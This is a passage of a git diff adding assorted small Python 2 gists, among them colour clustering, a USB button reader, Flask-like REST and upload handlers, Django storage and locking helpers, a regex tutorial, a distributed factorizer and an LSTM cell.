+    if rank == 0:
+        all_dat = main(work_list)
+    else:
+        subordinate(do_work)
+ 
\ No newline at end of file
diff --git a/hard-gists/27737c5f2de213216360/._snippet.py b/hard-gists/27737c5f2de213216360/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/27737c5f2de213216360/._snippet.py differ
diff --git a/hard-gists/27737c5f2de213216360/snippet.py b/hard-gists/27737c5f2de213216360/snippet.py
new file mode 100644
index 00000000..02b7c83d
--- /dev/null
+++ b/hard-gists/27737c5f2de213216360/snippet.py
@@ -0,0 +1,79 @@
+from collections import namedtuple
+from math import sqrt
+import random
+try:
+    import Image
+except ImportError:
+    from PIL import Image
+
+Point = namedtuple('Point', ('coords', 'n', 'ct'))
+Cluster = namedtuple('Cluster', ('points', 'center', 'n'))
+
+def get_points(img):
+    points = []
+    w, h = img.size
+    for count, color in img.getcolors(w * h):
+        points.append(Point(color, 3, count))
+    return points
+
+rtoh = lambda rgb: '#%s' % ''.join(('%02x' % p for p in rgb))
+
+def colorz(filename, n=3):
+    img = Image.open(filename)
+    img.thumbnail((200, 200))
+    w, h = img.size
+
+    points = get_points(img)
+    clusters = kmeans(points, n, 1)
+    rgbs = [map(int, c.center.coords) for c in clusters]
+    return map(rtoh, rgbs)
+
+def euclidean(p1, p2):
+    return sqrt(sum([
+        (p1.coords[i] - p2.coords[i]) ** 2 for i in range(p1.n)
+    ]))
+
+def calculate_center(points, n):
+    vals = [0.0 for i in range(n)]
+    plen = 0
+    for p in points:
+        plen += p.ct
+        for i in range(n):
+            vals[i] += (p.coords[i] * p.ct)
+    return Point([(v / plen) for v in vals], n, 1)
+
+def kmeans(points, k, min_diff):
+    clusters = [Cluster([p], p, p.n) for p in random.sample(points, k)]
+
+    while 1:
+        plists = [[] for i in range(k)]
+
+        for p in points:
+            smallest_distance = float('Inf')
+            for i in range(k):
+                distance = euclidean(p, clusters[i].center)
+                if distance < smallest_distance:
+                    smallest_distance = distance
+                    idx = i
+            plists[idx].append(p)
+
+        diff = 0
+        for i in range(k):
+            old = clusters[i]
+            center = calculate_center(plists[i], old.n)
+            new = Cluster(plists[i], center, old.n)
+            clusters[i] = new
+            diff = max(diff, euclidean(old.center, new.center))
+
+        if diff < min_diff:
+            break
+
+    return clusters
+
+
+
+import time
+start = time.time()
+result = colorz('./p.jpg')
+es = (time.time() - start)
+print result, 'proctime : %d'%es
\ No newline at end of file
diff --git a/hard-gists/2778605/._snippet.py b/hard-gists/2778605/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2778605/._snippet.py differ
diff --git a/hard-gists/2778605/snippet.py b/hard-gists/2778605/snippet.py
new file mode 100644
index 00000000..5b10909d
--- /dev/null
+++ b/hard-gists/2778605/snippet.py
@@ -0,0 +1,98 @@
+import sys
+import time
+import usb
+
+class Button:
+   def __init__(self, vendor_id, device_id):
+      """
+      Find and open a USB HID device.
+      """
+      
+      self.vendor_id = vendor_id
+      self.device_id = device_id
+      self.endpoint = 0x81
+
+      self.device = self.getDevice(vendor_id, device_id)
+      
+      if self.device == None:
+         raise DeviceNotFound, "No recognised device connected."
+
+      self.handle = self.openDevice(self.device)
+   
+   def __del__(self):
+      """
+      Releases the device.
+      """
+      try:
+         self.handle.releaseInterface()
+         del self.handle
+      except:
+         pass
+   
+   def getDevice(self, vendor_id, device_id):
+      """
+      Searches the USB buses for a device matching the given vendor and device IDs.
+
+      Returns a usb.Device, or None if the device cannot be found.
+      """      
+
+      busses = usb.busses()
+   
+      for bus in busses:
+         devices = bus.devices
+         for device in devices:
+            if device.idVendor == vendor_id and device.idProduct == device_id:
+               return device
+   
+      return None
+   
+   def openDevice(self, device):
+      """
+      Opens and claims the specified device. Returns a usb.DeviceHandle
+
+      Also attempts to detach the kernel's driver from the device, if necessary.
+      """
+
+      handle = device.open()
+
+      # Attempt to remove other drivers using this device. This is necessary
+      # for HID devices.
+      try:
+         handle.detachKernelDriver(0)
+      except:
+         pass # Ignore failures here, the device might already be detached.
+
+      handle.claimInterface(0)
+      
+      return handle
+
+   def on_keydown(self):
+      print "keydown event"
+
+   def on_keyup(self):
+      print "keyup event"
+
+   def start(self):
+      data = None
+      while True:
+         try:
+            data = self.handle.interruptRead(self.endpoint, 8, 0)
+         except:
+            raise
+
+         if data == (0, 0, 88, 0, 0, 0, 0, 0): # numeric keypad enter pressed
+            self.on_keydown()
+         elif data == (0, 0, 0, 0, 0, 0, 0, 0):
+            self.on_keyup()
+         
+         data = None
+
+class DeviceNotFound(Exception):
+ def __init__(self,value):
+    self.value = value
+ def __str__(self):
+    return repr(self.value)
+
+if __name__ == "__main__":
+   button = Button(0x1710, 0x5612)
+   button.start()
diff --git a/hard-gists/2779820/._snippet.py b/hard-gists/2779820/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2779820/._snippet.py differ
diff --git a/hard-gists/2779820/snippet.py b/hard-gists/2779820/snippet.py
new file mode 100644
index 00000000..2cc7c7cb
--- /dev/null
+++ b/hard-gists/2779820/snippet.py
@@ -0,0 +1,90 @@
+#!/usr/bin/python
+import json
+import bottle
+from bottle import static_file, route, run, request, abort, response
+import simplejson
+import pymongo
+from pymongo import Connection
+import datetime
+
+
+
+class MongoEncoder(simplejson.JSONEncoder):
+    def default(self, obj):
+                # convert all iterables to lists
+        if hasattr(obj, '__iter__'):
+            return list(obj)
+        # convert cursors to lists
+        elif isinstance(obj, pymongo.cursor.Cursor):
+            return list(obj)
+        # convert ObjectId to string
+        elif isinstance(obj, pymongo.objectid.ObjectId):
+            return unicode(obj)
+        # dereference DBRef
+        elif isinstance(obj, pymongo.dbref.DBRef):
+            return db.dereference(obj)
+        # convert dates to strings
+        elif isinstance(obj, datetime.datetime) or isinstance(obj, datetime.date) or isinstance(obj, datetime.time):
+            return unicode(obj)
+        return simplejson.JSONEncoder.default(self, obj)
+
+
+
+connection = Connection('localhost', 27017)
+db = connection.mydatabase
+
+@route('/static/<filename:path>')
+def send_static(filename):
+    return static_file(filename, root='/home/igs/restlite/static')
+
+@route('/')
+def send_static():
+    return static_file('index.html',root='/home/igs/restlite/static/')
+
+@route('/equipements', method='PUT')
+def put_equipement():
+    data = request.body.readline()
+    if not data:
+        abort(400, 'No data received')
+    entity = json.loads(data)
+    if not entity.has_key('_id'):
+        abort(400,'No _id specified')
+    try:
+        db['equipements'].save(entity)
+    except ValidationError as ve:
+        abort(400, str(ve))
+
+@route('/equipements', method='POST')
+def post_equipement():
+    data = request.forms
+
+    if not data:
+        abort(400, 'No data received')
+    entity = {}
+    for k,v  in data.items():
+        entity[k]=v
+
+    if not entity.has_key('_id'):
+        abort(400,'No _id specified')
+    try:
+        db['equipements'].save(entity)
+    except ValidationError as ve:
+        abort(400, str(ve))
+
+@route('/equipements/:id', methodd='GET')
+def get_equipement(id):
+    entity = db['equipements'].find_one({'_id':id})
+    if not entity:
+        abort(404, 'No equipement with id %s' % id)
+    return entity
+
+@route('/equipements', methodd='GET')
+def get_equipements():
+    entity = db['equipements'].find({})
+    if not entity:
+        abort(404, 'No equipement')
+    response.content_type = 'application/json'
+    entries = [entry for entry in entity]
+    return MongoEncoder().encode(entries)
+
+run(host='0.0.0.0', port=80)
\ No newline at end of file
diff --git a/hard-gists/2783865/._snippet.py b/hard-gists/2783865/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2783865/._snippet.py differ
diff --git a/hard-gists/2783865/snippet.py b/hard-gists/2783865/snippet.py
new file mode 100644
index 00000000..59b6eb5b
--- /dev/null
+++ b/hard-gists/2783865/snippet.py
@@ -0,0 +1,62 @@
+#!/usr/bin/env python
+#
+ 
+from __future__ import with_statement
+import os, urllib2, re, base64
+from google.appengine.api import users, images, files
+from google.appengine.ext import blobstore, db, webapp
+from google.appengine.ext.webapp import blobstore_handlers
+from google.appengine.ext.webapp.util import run_wsgi_app
+
+class MainHandler(webapp.RequestHandler):
+  def get(self):
+    ''' stuff '''
+
+class Drawing(db.Model):
+  ''' heres a drawing model '''
+  user = db.UserProperty()
+  created = db.DateTimeProperty(auto_now_add=True)
+  blob_key = blobstore.BlobReferenceProperty()
+
+
+class UploadHandler(blobstore_handlers.BlobstoreUploadHandler):
+  def post(self):
+    self.response.headers["Access-Control-Allow-Origin"] = "*"
+
+    try:
+      data = self.request.get('imgdata')
+      data_to_64 = re.search(r'base64,(.*)', data).group(1)      
+      decoded = data_to_64.decode('base64')
+
+      # Create the file
+      file_name = files.blobstore.create(mime_type='image/png')
+
+      # Open the file and write to it
+      with files.open(file_name, 'a') as f:
+        f.write(decoded)          
+
+      # Finalize the file. Do this before attempting to read it.
+      files.finalize(file_name)
+
+      key = files.blobstore.get_blob_key(file_name)
+      drawing = Drawing(user = users.get_current_user(),
+                        blob_key = key)
+
+      url = 'https://gweb-plusexperiments-exp6.appspot.com/serve/%s' % key
+      self.response.out.write('{ "url": "' + url + '" }')
+
+    except Exception, e:      
+      print e
+
+class ServeHandler(blobstore_handlers.BlobstoreDownloadHandler):
+  def get(self, key):    
+    if not blobstore.get(key):
+      self.error(404)
+    else:
+      self.send_blob(key)
+
+face = webapp.WSGIApplication([('/', MainHandler),
+                               ('/upload', UploadHandler),
+                               ('/test-upload', TestUpload),
+                               ('/serve/([^/]+)?', ServeHandler),
+                               ], debug=True)
diff --git a/hard-gists/2786290/._snippet.py b/hard-gists/2786290/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2786290/._snippet.py differ
diff --git a/hard-gists/2786290/snippet.py b/hard-gists/2786290/snippet.py
new file mode 100644
index 00000000..251651c3
--- /dev/null
+++ b/hard-gists/2786290/snippet.py
@@ -0,0 +1,115 @@
+# -*- coding: utf-8 -*-
+import os, time, random 
+from django.core.files.base import File
+from django.core.files.storage import Storage
+from django.conf import settings 
+from django.core.files import File
+import sae.storage
+try:
+    from cStringIO import StringIO
+except ImportError:
+    from StringIO import StringIO
+
+class SaeStorage(Storage): 
+     
+    def __init__(self, location="base"
+            #accesskey=settings.ACCESS_KEY, 
+            #secretkey=settings.SECRET_KEY, 
+            #prefix=settings.APP_NAME
+            #media_root=settings.MEDIA_ROOT,
+            #media_url=settings.MEDIA_URL,
+            ): 
+        #self.accesskey = accesskey
+        #self.secretkey = secretkey
+        #self.prefix = prefix
+        #self.media_root = media_root
+        #self.media_url = media_url
+
+        #self.client = sae.storage.Client(accesskey, secretkey, prefix)
+        self.prefix = location
+        self.client = sae.storage.Client()
+
+
+    def _put_file(self, name, content):
+        ob = sae.storage.Object(content)
+        self.client.put(self.prefix, name, ob)
+
+    def _read(self, name):
+        memory_file = StringIO()
+        try:
+            o = self.client.get(self.prefix, name)
+            memory_file.write(o.data)
+        except sae.storage.ObjectNotExistsError, e:
+            pass
+        return memory_file
+
+    def _open(self, name, mode="rb"):
+        return SaeStorageFile(name, self, mode=mode)
+
+    def _save(self, name, content): 
+        content.open()
+        if hasattr(content, 'chunks'):
+            content_str = ''.join(chunk for chunk in content.chunks())
+        else:
+            content_str = content.read()
+        self._put_file(name, content_str)
+        content.close()
+        return name
+
+    def delete(self, name):
+        self.client.delete(self.prefix, name)
+
+    def exists(self, name):
+        try:
+            o = self.client.stat(self.prefix, name)
+        except sae.storage.ObjectNotExistsError, e:
+            return False
+        return True
+
+    def listdir(self,domain):
+        files = self.client.list(domain)
+        return ((),files)
+
+    def size(self, name):
+        try:
+            stat = self.client.stat(self.prefix, name)
+        except sae.storage.ObjectNotExistsError, e:
+            return 0
+        return stat.length
+
+    def url(self, name):
+        return self.client.url(self.prefix, name)
+
+class SaeStorageFile(File):
+    """docstring for SaeStorageFile"""
+    def __init__(self, name, storage, mode):
+        self._name = name
+        self._storage = storage
+        self._mode = mode
+        self._is_dirty = False
+        self.file = StringIO()
+        self._is_read = False
+
+    @property
+    def size(self):
+        if not hasattr(self, '_size'):
+            self._size = self._storage.size(self._name)
+        return self._size
+
+    def read(self):
+        if not self._is_read:
+            self.file = self._storage._read(self._name)
+            self._is_read = True
+        return self.file.getvalue()
+            
+    def write(self, content):
+        if 'w' not in self._mode:
+            raise AttributeError("File was opened for read-only access.")
+        self.file = StringIO(content)
+        self._is_dirty = True
+        self._is_read = True
+
+    def close(self):
+        if self._is_dirty:
+            self._storage._put_file(self._name, self.file.getvalue())
+        self.file.close()
\ No newline at end of file
diff --git a/hard-gists/2787060/._snippet.py b/hard-gists/2787060/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2787060/._snippet.py differ
diff --git a/hard-gists/2787060/snippet.py b/hard-gists/2787060/snippet.py
new file mode 100644
index 00000000..41c63abb
--- /dev/null
+++ b/hard-gists/2787060/snippet.py
@@ -0,0 +1,117 @@
+# -*- coding:UTF8 -*-
+#1.概念：
+#	正则表达式（或 RE）是一种小型的、高度专业化的编程语言，
+#      （在Python中）它内嵌在Python中，并通过 re 模块实现。使用这个小型语言，
+#       你可以为想要匹配的相应字符串集指定规则；该字符串集可能包含英文语句、email
+#       地址、TeX命令或任何你想搞定的东西。然后你可以问诸如“这个字符串匹配
+#       该模式吗？”或“在这个字符串中是否有部分匹配该模式呢？”。你也可以使用 RE
+#       以各种方式来修改或分割字符串。
+#
+#	正则表达式语言相对小型和受限（功能有限），因此并非所有字符串处理都能用
+#       正则表达式完成。当然也有些任务可以用正则表达式完成，不过最终表达式会变
+#       得异常复杂。碰到这些情形时，编写 Python 代码进行处理可能反而更好；尽管
+#       Python 代码比一个精巧的正则表达式要慢些，但它更易理解。
+#
+#2.在正则表达式中， 如下的字符是具有特殊含义的
+#	. (所有字符)  ^  $  *(0-N次)  +(1-N次)  ? (0-1次) { } [  ]  \  |  ( ) 
+#       1)."[" 和 "]"。它们常用来指定一个字符类别，所谓字符类别就是你想匹配的一个字符集
+#       2).其它地方的"^"只会简单匹配 "^"字符本身。例[^5] 将匹配除 "5" 之外的任意字符。
+#       3).反斜杠后面可以加不同的字符以表示不同特殊意义。它也可以用于取消所有的元字符
+#
+#3.RE 函数用法:
+#       findall(rule , target [,flag] ) 在目标字符串中查找符合规则的字符串。
+#       match() 决定 RE 是否在字符串刚开始的位置匹配
+#       search() 扫描字符串，找到这个 RE 匹配的位置
+#       findall() 找到 RE 匹配的所有子串，并把它们作为一个列表返回
+#       finditer() 找到 RE 匹配的所有子串，并把它们作为一个迭代器返回
+#       group() 返回被 RE 匹配的字符串
+#       start() 返回匹配开始的位置
+#       end() 返回匹配结束的位置
+#       span() 返回一个元组包含匹配 (开始,结束) 的位置
+#       compile( rule [,flag] )将正则规则编译成一个Pattern对象，以供接下来使用第一个参数   
+#
+#                                   是规则式，第二个参数是规则选项。(使用compile加速)
+#
+#4 : 含义:
+#	预定义转义字符集： “\d”  “\w” “\s” 等等，它们是以字符’\’开头，后面接一个特定
+#
+#字符的形式,用来指示一个预定义好的含义
+#
+#	‘^’  和’$’ 匹配字符串开头和结尾
+#	‘.’    匹配所有字符 除\n以外
+#	‘\d’  匹配数字
+#	‘\D’  匹配非数字
+#	‘\w’  匹配字母和数字
+#	‘\W’  匹配非英文字母和数字
+#	‘\s’   匹配间隔符
+#	‘\S’   匹配非间隔符
+#	‘\A’  匹配字符串开头
+#	‘\Z’  匹配字符串结尾
+#	‘\b’  只用以匹配单词的词首和词尾。单词被定义为一个字母数字序列，因此词尾就	
+#
+#                     是用空白符或非字母数字符来标示的。(退格)
+#	‘\B’，它正好同 \b 相反，只在当前位置不在单词边界时匹配。
+#5.前向界定与后向界定:
+#	‘(?<=…)’ 前向界定:括号中’…’代表你希望匹配的字符串的前面应该出现的字符串。
+#	‘(?=…)’后向界定    :括号中的’…’代表你希望匹配的字符串后面应该出现的字符串
+#	‘(?<!..)’前向非界定 :只有当你希望的字符串前面不是’…’的内容时才匹配
+#	‘(?!...)’后向非界定  :只有当你希望的字符串后面不跟着’…’内容时才匹配。
+#6.组的基本知识:
+#	‘(‘’)’                  无命名组                    [a-z]+(\d+)[a-z]+
+#	‘(?P<name>…)’    命名组                    (?P<g1>[a-z]+)\d+(?P=g1)
+#	‘(?P=name)’ 调用已匹配的命名组
+#	‘\number’通过序号调用已匹配的组正则式中的每个组都有一个序号，序号是按组
+#
+#从左到右，从1开始的数字，你可以通过下面的形式来调用已匹配的组
+#	                       		             ( r"(\d+)([a-z]+)(\d+)(\2)(\1)" )   
+import sys
+reload(sys)
+sys.setdefaultencoding('utf-8')
+
+import rhinoscriptsyntax as rs
+# 正则表达式
+import re
+str1 = "abc \\ 123 456"
+print re.findall("\\\\",str1)  # 不用r和用r的区
+print re.findall(r"\d\Z",str1) # 用"r"来定义规则字符串
+
+p = re.compile('(a)b')
+m = p.match('ab')
+print m.group()
+
+s = "aaa1 22 gg 333 ccc 4444 pppp 55555 666"
+print re.findall(r"\b\d{3}\b",s)
+print re.findall(r"\b\d{2,4}\b",s)
+
+s2 = "aaa111aaa , bbb222 , 333ccc"
+print re.findall( r"(?<=[a-z]+)\d+(?=[a-z]+)",s2 )
+print re.findall( r"\d+(?=[a-z]+)",s2 )
+## 目标 前面是a-z 1-多次、中间数字1-9 1-多次
+print re.findall(r"\d+(?!\w+)",s2)
+#无命名组
+print re.findall(r"[a-z]+(\d+)[a-z]+",s2) # 只返回()里面的
+s3 = 'aaa111aaa,bbb222,333ccc,444ddd444,555eee666,fff777ggg,hhh888hhh'
+print re.findall(r"([a-z]+)\d+([a-z]+)",s3) #返回括号里面的
+#‘(?P<name>…)’ 命名组
+print re.findall( r"(?P<g1>[a-z]+)\d+(?P=g1)",s3 ) #找出被中间夹有数字的前后同样的字母
+print re.findall(r"([a-z]+)\d+\1",s3)
+s4 = "111aaa222aaa111,333bbb444bb33"
+print re.findall( r"(\d+)([a-z]+)(\d+)(\2)(\1)", s4 ) #数字、字母、数字、字母、数字相对称
+print re.compile(r"(\d+)([a-z]+)(\d+)(\2)(\1)").findall(s4)
+
+#compile( rule [,flag] ) 使用compile加速
+s5 = "111,222,aaa,bbb,ccc333,444ddd"
+print re.compile(r"\d+\b").findall(s5) # \退格 匹配一个位于开头的数字，没有使用M选项
+
+s6 = "123 456\n789 012\n345 678"
+print re.compile(r"^\d+",re.M).findall(s6) # 匹配位于(M/多行)开头的数字
+
+rcm=re.compile(r"\d+$")# 对于’$’来说，没有使用M选项，它将匹配最后一个行尾的数字，即’678’，加上以后，就能匹配三个行尾的数字456 012和678了.
+print re.compile(r"\d+$",re.M).findall(s6) # 
+
+
+
+
+
+
+
diff --git a/hard-gists/2788978/._snippet.py b/hard-gists/2788978/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2788978/._snippet.py differ
diff --git a/hard-gists/2788978/snippet.py b/hard-gists/2788978/snippet.py
new file mode 100644
index 00000000..bb530c03
--- /dev/null
+++ b/hard-gists/2788978/snippet.py
@@ -0,0 +1,23 @@
+import sublime
+import sublime_plugin
+
+class NumberCommand(sublime_plugin.TextCommand):
+    def run(self, edit):
+        selection = self.view.sel()
+        for region in selection:
+            try:
+                value = int(self.view.substr(region))
+                self.view.replace(edit, region, str(self.op(value)))
+            except ValueError:
+                pass
+
+    def is_enabled(self):
+        return len(self.view.sel()) > 0
+
+class IncrementCommand(NumberCommand):
+    def op(self, value):
+          return value + 1
+
+class DecrementCommand(NumberCommand):
+    def op(self, value):
+          return value - 1
diff --git a/hard-gists/2790749/._snippet.py b/hard-gists/2790749/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2790749/._snippet.py differ
diff --git a/hard-gists/2790749/snippet.py b/hard-gists/2790749/snippet.py
new file mode 100644
index 00000000..bec97601
--- /dev/null
+++ b/hard-gists/2790749/snippet.py
@@ -0,0 +1,36 @@
+##########################################################
+# django postgres polling - LISTEN
+
+import psycopg2.extensions
+import select
+
+from django.db import connection
+
+crs = connection.cursor()  # get the cursor and establish the connection.connection
+pg_con = connection.connection
+pg_con.set_isolation_level(psycopg2.extensions.ISOLATION_LEVEL_AUTOCOMMIT)
+crs.execute('LISTEN test;');
+
+print "Waiting for notifications on channel 'test'"
+while 1:
+    if select.select([pg_con],[],[],5) == ([],[],[]):
+        print "Timeout"
+    else:
+        pg_con.poll()
+        while pg_con.notifies:
+            notify = pg_con.notifies.pop()
+            print "Got NOTIFY:", `notify`
+
+
+            
+##########################################################
+# django postgres polling - NOTIFY
+
+from django.db import connection
+import psycopg2.extensions
+
+crs = connection.cursor()  # get the cursor and establish the connection.connection
+connection.connection.set_isolation_level(psycopg2.extensions.ISOLATION_LEVEL_AUTOCOMMIT)
+crs.execute('NOTIFY test;');
+
+crs.execute('SELECT pg_sleep(6); NOTIFY test;');
\ No newline at end of file
diff --git a/hard-gists/2792956/._snippet.py b/hard-gists/2792956/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2792956/._snippet.py differ
diff --git a/hard-gists/2792956/snippet.py b/hard-gists/2792956/snippet.py
new file mode 100644
index 00000000..3f594ea3
--- /dev/null
+++ b/hard-gists/2792956/snippet.py
@@ -0,0 +1,52 @@
+#-*- coding: utf-8 -*-
+import contextlib
+
+from django.db import connection
+
+
+@contextlib.contextmanager
+def acquire_table_lock(read, write):
+    '''Acquire read & write locks on tables.
+
+    Usage example:
+    from polls.models import Poll, Choice
+    with acquire_table_lock(read=[Poll], write=[Choice]):
+        pass
+    '''
+    cursor = lock_table(read, write)
+    try:
+        yield cursor
+    finally:
+        unlock_table(cursor)
+
+
+def lock_table(read, write):
+    '''Acquire read & write locks on tables.'''
+    # MySQL
+    if connection.settings_dict['ENGINE'] == 'django.db.backends.mysql':
+        # Get the actual table names
+        write_tables = [model._meta.db_table for model in write]
+        read_tables = [model._meta.db_table for model in read]
+        # Statements
+        write_statement = ', '.join(['%s WRITE' % table for table in write_tables])
+        read_statement = ', '.join(['%s READ' % table for table in read_tables])
+        statement = 'LOCK TABLES %s' % ', '.join([write_statement, read_statement])
+        # Acquire the lock
+        cursor = connection.cursor()
+        cursor.execute(statement)
+        return cursor
+    # Other databases: not supported
+    else:
+        raise Exception('This backend is not supported: %s' %
+                        connection.settings_dict['ENGINE'])
+
+
+def unlock_table(cursor):
+    '''Release all acquired locks.'''
+    # MySQL
+    if connection.settings_dict['ENGINE'] == 'django.db.backends.mysql':
+        cursor.execute("UNLOCK TABLES")
+    # Other databases: not supported
+    else:
+        raise Exception('This backend is not supported: %s' %
+                        connection.settings_dict['ENGINE'])
diff --git a/hard-gists/2798682/._snippet.py b/hard-gists/2798682/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2798682/._snippet.py differ
diff --git a/hard-gists/2798682/snippet.py b/hard-gists/2798682/snippet.py
new file mode 100644
index 00000000..6c29a68b
--- /dev/null
+++ b/hard-gists/2798682/snippet.py
@@ -0,0 +1,124 @@
+import multiprocessing
+from multiprocessing.managers import SyncManager
+import Queue
+import time
+from factorize import factorize_naive
+from eblib.utils import Timer
+
+IP = '192.168.1.102'
+PORTNUM = 55444
+AUTHKEY = 'shufflin'
+
+
+def make_server_manager(port, authkey):
+    job_q = Queue.Queue()
+    result_q = Queue.Queue()
+
+    class JobQueueManager(SyncManager):
+        pass
+
+    JobQueueManager.register('get_job_q', callable=lambda: job_q)
+    JobQueueManager.register('get_result_q', callable=lambda: result_q)
+
+    manager = JobQueueManager(address=('', port), authkey=authkey)
+    manager.start()
+    print 'Server started at port %s' % port
+    return manager
+
+
+def make_client_manager(ip, port, authkey):
+    class ServerQueueManager(SyncManager):
+        pass
+
+    ServerQueueManager.register('get_job_q')
+    ServerQueueManager.register('get_result_q')
+
+    manager = ServerQueueManager(address=(ip, port), authkey=authkey)
+    manager.connect()
+
+    print 'Client connected to %s:%s' % (ip, port)
+    return manager
+
+
+def factorizer_worker(job_q, result_q):
+    myname = multiprocessing.current_process().name
+    while True:
+        try:
+            job = job_q.get_nowait()
+            #print '%s got %s nums...' % (myname, len(job))
+            outdict = {n: factorize_naive(n) for n in job}
+            result_q.put(outdict)
+            #print '  %s done' % myname
+        except Queue.Empty:
+            return
+
+
+def mp_factorizer(shared_job_q, shared_result_q, nprocs):
+    procs = []
+    for i in range(nprocs):
+        p = multiprocessing.Process(
+                target=factorizer_worker,
+                args=(shared_job_q, shared_result_q))
+        procs.append(p)
+        p.start()
+
+    for p in procs:
+        p.join()
+
+
+def make_nums(N):
+    nums = [999999999999]
+    for i in xrange(N):
+        nums.append(nums[-1] + 2)
+    return nums
+
+
+def runserver():
+    manager = make_server_manager(PORTNUM, AUTHKEY)
+    shared_job_q = manager.get_job_q()
+    shared_result_q = manager.get_result_q()
+
+    N = 999
+    nums = make_nums(N)
+
+    chunksize = 43
+    for i in range(0, len(nums), chunksize):
+        #print 'putting chunk %s:%s in job Q' % (i, i + chunksize)
+        shared_job_q.put(nums[i:i + chunksize])
+    
+    with Timer('howlong...'):
+        mp_factorizer(shared_job_q, shared_result_q, 8)
+
+        numresults = 0
+        resultdict = {}
+        while numresults < N:
+            outdict = shared_result_q.get()
+            resultdict.update(outdict)
+            numresults += len(outdict)
+
+    for num, factors in resultdict.iteritems():
+        product = reduce(lambda a, b: a * b, factors, 1)
+        if num != product:
+            assert False, "Verification failed for number %s" % num
+        
+    print '--- DONE ---'
+    time.sleep(2)
+    manager.shutdown()
+
+
+def runclient():
+    manager = make_client_manager(IP, PORTNUM, AUTHKEY)
+    job_q = manager.get_job_q()
+    result_q = manager.get_result_q()
+
+    mp_factorizer(job_q, result_q, 4)
+
+
+if __name__ == '__main__':
+    import sys
+    if len(sys.argv) > 1 and sys.argv[1] == 'client':
+        runclient()
+    else:
+        runserver()
+
+
diff --git a/hard-gists/27a1eea9f1d01056ebb0/._snippet.py b/hard-gists/27a1eea9f1d01056ebb0/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/27a1eea9f1d01056ebb0/._snippet.py differ
diff --git a/hard-gists/27a1eea9f1d01056ebb0/snippet.py b/hard-gists/27a1eea9f1d01056ebb0/snippet.py
new file mode 100644
index 00000000..b332de31
--- /dev/null
+++ b/hard-gists/27a1eea9f1d01056ebb0/snippet.py
@@ -0,0 +1,45 @@
+#!/usr/bin/python2
+# Based on: https://bbs.archlinux.org/viewtopic.php?pid=962423#p962423
+# This version is modified to handle mailboxes with spaces in the names
+
+import pyinotify
+import pynotify
+from os.path import expanduser
+from mailbox import MaildirMessage
+from email.header import decode_header
+from gtk.gdk import pixbuf_new_from_file
+
+maildir_folder = expanduser(r"~/Mail/")
+notification_timeout = 12000
+unread_mail_icon = r"/usr/share/icons/oxygen/32x32/status/mail-unread-new.png"
+
+# Getting the path of all the boxes
+fd =  open(expanduser(r"~/.mutt/mailboxes"), 'r')
+# [10:-1] to remove the initial '^mailboxes '
+boxes = filter(None, (b.rstrip().replace('+','') for b in fd.readline()[10:-1].split('"')))
+fd.close()
+
+pynotify.init(r'email_notifier.py')
+
+# Handling a new mail
+icon = pixbuf_new_from_file(unread_mail_icon)
+dec_header = lambda h : ' '.join(unicode(s, e if bool(e) else 'ascii') for s, e in decode_header(h))
+
+def newfile(event):
+    fd = open(event.pathname, 'r')
+    mail = MaildirMessage(message=fd)
+    From = "From: " + dec_header(mail['From'])
+    Subject = "Subject: " + dec_header(mail['Subject'])
+    n = pynotify.Notification("New mail in "+'/'.join(event.path.split('/')[-3:-1]), From+ "\n"+ Subject)
+    fd.close()
+    n.set_icon_from_pixbuf(icon)
+    n.set_timeout(notification_timeout)
+    n.show()
+
+wm = pyinotify.WatchManager()
+notifier = pyinotify.Notifier(wm, newfile)
+
+for box in boxes:
+    wm.add_watch(maildir_folder+box+"/new", pyinotify.IN_CREATE | pyinotify.IN_MOVED_TO)
+
+notifier.loop()
\ No newline at end of file
diff --git a/hard-gists/27ab7d2a30bbaf5ef431b4a02194ac60/._snippet.py b/hard-gists/27ab7d2a30bbaf5ef431b4a02194ac60/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/27ab7d2a30bbaf5ef431b4a02194ac60/._snippet.py differ
diff --git a/hard-gists/27ab7d2a30bbaf5ef431b4a02194ac60/snippet.py b/hard-gists/27ab7d2a30bbaf5ef431b4a02194ac60/snippet.py
new file mode 100644
index 00000000..a9bedfae
--- /dev/null
+++ b/hard-gists/27ab7d2a30bbaf5ef431b4a02194ac60/snippet.py
@@ -0,0 +1,110 @@
+"""adapted from https://github.com/OlavHN/bnlstm to store separate population statistics per state"""
+import tensorflow as tf, numpy as np
+RNNCell = tf.nn.rnn_cell.RNNCell
+
+class BNLSTMCell(RNNCell):
+    '''Batch normalized LSTM as described in arxiv.org/abs/1603.09025'''
+    def __init__(self, num_units, is_training_tensor, max_bn_steps, initial_scale=0.1, activation=tf.tanh, decay=0.95):
+        """
+        * max bn steps is the maximum number of steps for which to store separate population stats
+        """
+        self._num_units = num_units
+        self._training = is_training_tensor
+        self._max_bn_steps = max_bn_steps
+        self._activation = activation
+        self._decay = decay
+        self._initial_scale = 0.1
+
+    @property
+    def state_size(self):
+        return (self._num_units, self._num_units, 1)
+
+    @property
+    def output_size(self):
+        return self._num_units
+
+    def _batch_norm(self, x, name_scope, step, epsilon=1e-5, no_offset=False, set_forget_gate_bias=False):
+        '''Assume 2d [batch, values] tensor'''
+
+        with tf.variable_scope(name_scope):
+            size = x.get_shape().as_list()[1]
+
+            scale = tf.get_variable('scale', [size], initializer=tf.constant_initializer(self._initial_scale))
+            if no_offset:
+                offset = 0
+            elif set_forget_gate_bias:
+                offset = tf.get_variable('offset', [size], initializer=offset_initializer())
+            else:
+                offset = tf.get_variable('offset', [size], initializer=tf.zeros_initializer)
+
